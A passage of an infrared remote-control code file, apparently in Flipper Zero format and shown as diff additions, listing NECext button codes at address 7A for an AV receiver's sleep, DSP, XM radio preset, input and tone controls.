00 +command: 56 00 00 00 +# +name: DSPTOG:_STRAIT/EFECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: MZ:_SLEEP_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: SLEEP:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: SLEEP_TIMER_SET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: MAIN:_SLEEP_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: ?AZ:_SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 57 00 00 00 +# +name: DSP_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: DSP_PROGRAM+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: DSP_PROGRAM_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: PROGRAM_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: PRGRM_PRESET_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 58 00 00 00 +# +name: DSP_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: DSP_PROGRAM- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: INPUT_AV_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: DSP_PROGRAM_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: AV_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: PROGRAM_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: PRGRM_PRESET_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: INPUT_AV-3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 59 00 00 00 +# +name: EQ_ON/FLAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5A 00 00 00 +# +name: EQ_PRESET_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5B 00 00 00 +# +name: EQ_PRESET_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 +# +name: INPUT_AV_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 +# +name: AV_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 +# +name: INPUT_AV-4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5C 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5E 00 00 00 +# +name: INPUT_AV_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: AV_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: INPUT_AV-5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: XM_PRESET/NUM_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM:_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM_NUM_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM:_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM:_PRESET_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: Z2:_AV_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: Z2_INPUT_AV-5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM:_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 60 00 00 00 +# +name: XM_PRESET/NUM_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM:_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM_NUM_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM:_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM:_PRESET_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM:_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 61 00 00 00 +# +name: XM_PRESET/NUM_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: INPUT_AV_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM:_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM_NUM_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM:_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: AV_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM:_PRESET_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: INPUT_AV-6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM:_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 62 00 00 00 +# +name: XM_PRESET/NUM_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM:_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM_NUM_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM:_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM:_PRESET_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: Z2:_AV_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: Z2_INPUT_AV-6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM:_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 63 00 00 00 +# +name: XM_PRESET/NUM_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM:_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM_NUM_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM:_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM:_PRESET_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM:_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 64 00 00 00 +# +name: XM_PRESET/NUM_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: INPUT_AUDIO_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: AUDIO_INPUT_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM:_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM_NUM_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM:_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: AUDIO_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM:_PRESET_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: INPUT_AUDIO-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM:_5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 65 00 00 00 +# +name: XM_PRESET/NUM_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM:_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM_NUM_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM:_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM:_PRESET_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: Z2:_AUDIO_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: Z2_INPUT_AUDIO-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM:_6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 66 00 00 00 +# +name: XM_PRESET/NUM_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM:_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM_NUM_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM:_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM:_PRESET_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM:_7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 67 00 00 00 +# +name: XM_PRESET/NUM_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: INPUT_AUDIO_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM:_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM_NUM_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM:_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: AUDIO_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM:_PRESET_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: INPUT_AUDIO-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM:_8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 68 00 00 00 +# +name: XM_PRESET/NUM_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM:_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM_NUM_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM:_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM:_PRESET_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: Z2:_AUDIO_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: Z2_INPUT_AUDIO-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM:_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 69 00 00 00 +# +name: XM_PRESET_CH_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM:_PRE/CH_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM_PRESET/CH_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM:_PRESET/CH_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM:CH/PRESET_#_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM:_PRESET_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM_CH/PR_NO_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6A 00 00 00 +# +name: XM_PRESET_CH_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM:_PRE/CH_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM_PRESET/CH_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM:_PRESET/CH_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM:CH/PRESET_#_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: OPTION +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM:_PRESET_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM_CH/PR_NO_DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: MENU_OPTION +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6B 00 00 00 +# +name: XM_CAT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM:_A-E/CAT._(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM_A-E/CAT._+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM:_A-E/CAT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM_CATEGORY_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM:CAT/PST_GRP_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM:_A-E_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM_CAT/PR_GROUP_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6C 00 00 00 +# +name: XM_SEACH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM:_SEARCH_MD_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM_SRCH_MD_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM:_SEARCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM_SEARCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM:CAT/PST_GP_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM_SRCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6D 00 00 00 +# +name: XM_CAT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM:_A-E/CAT_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM_A-E/CAT._- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM:_A-E/CAT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM_CATEGORY_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM_A-E_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM_CAT/PR_GROUP_DN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6E 00 00 00 +# +name: XM_ENTER(HOLD/DSPL) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM:_ENTER_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM_ENTER_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM_SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 6F 00 00 00 +# +name: XM_TITLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 70 00 00 00 +# +name: XM:_TITLE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 70 00 00 00 +# +name: XM_TITLE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 70 00 00 00 +# +name: XM:_TITLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 70 00 00 00 +# +name: XM_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: XM:_MEMORY_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: XM_PRESET_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: XM:_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: XM:_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 71 00 00 00 +# +name: XM_DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 72 00 00 00 +# +name: XM:_DISPLAY_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 72 00 00 00 +# +name: XM_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 72 00 00 00 +# +name: XM:_DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 72 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 72 00 00 00 +# +name: Z2:_BASS_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 73 00 00 00 +# +name: Z2_TONE_BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 73 00 00 00 +# +name: Z2:_BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 73 00 00 00 +# +name: TONE_BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 73 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 73 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 73 00 00 00 +# +name: Z2:_BASS_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 74 00 00 00 +# +name: Z2_TONE_BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 74 00 00 00 +# +name: Z2:_BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 74 00 00 00 +# +name: TONE_BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 74 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 74 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 74 00 00 00 +# +name: Z2:_TREBLE_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 75 00 00 00 +# +name: Z2_TONE_TREB_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 75 00 00 00 +# +name: Z2:_TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 75 00 00 00 +# +name: TONE_TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 75 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 75 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 75 00 00 00 +# +name: Z2:_TREBLE_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 76 00 00 00 +# +name: Z2_TONE_TREB_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 76 00 00 00 +# +name: Z2:_TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 76 00 00 00 +# +name: TONE_TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 76 00 00 00 +# +name: Z3:_BASS_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 77 00 00 00 +# +name: Z3:_BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 77 00 00 00 +# +name: TONE_BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 77 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 77 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 77 00 00 00 +# +name: Z3:_BASS_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 78 00 00 00 +# +name: Z3:_BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 78 00 00 00 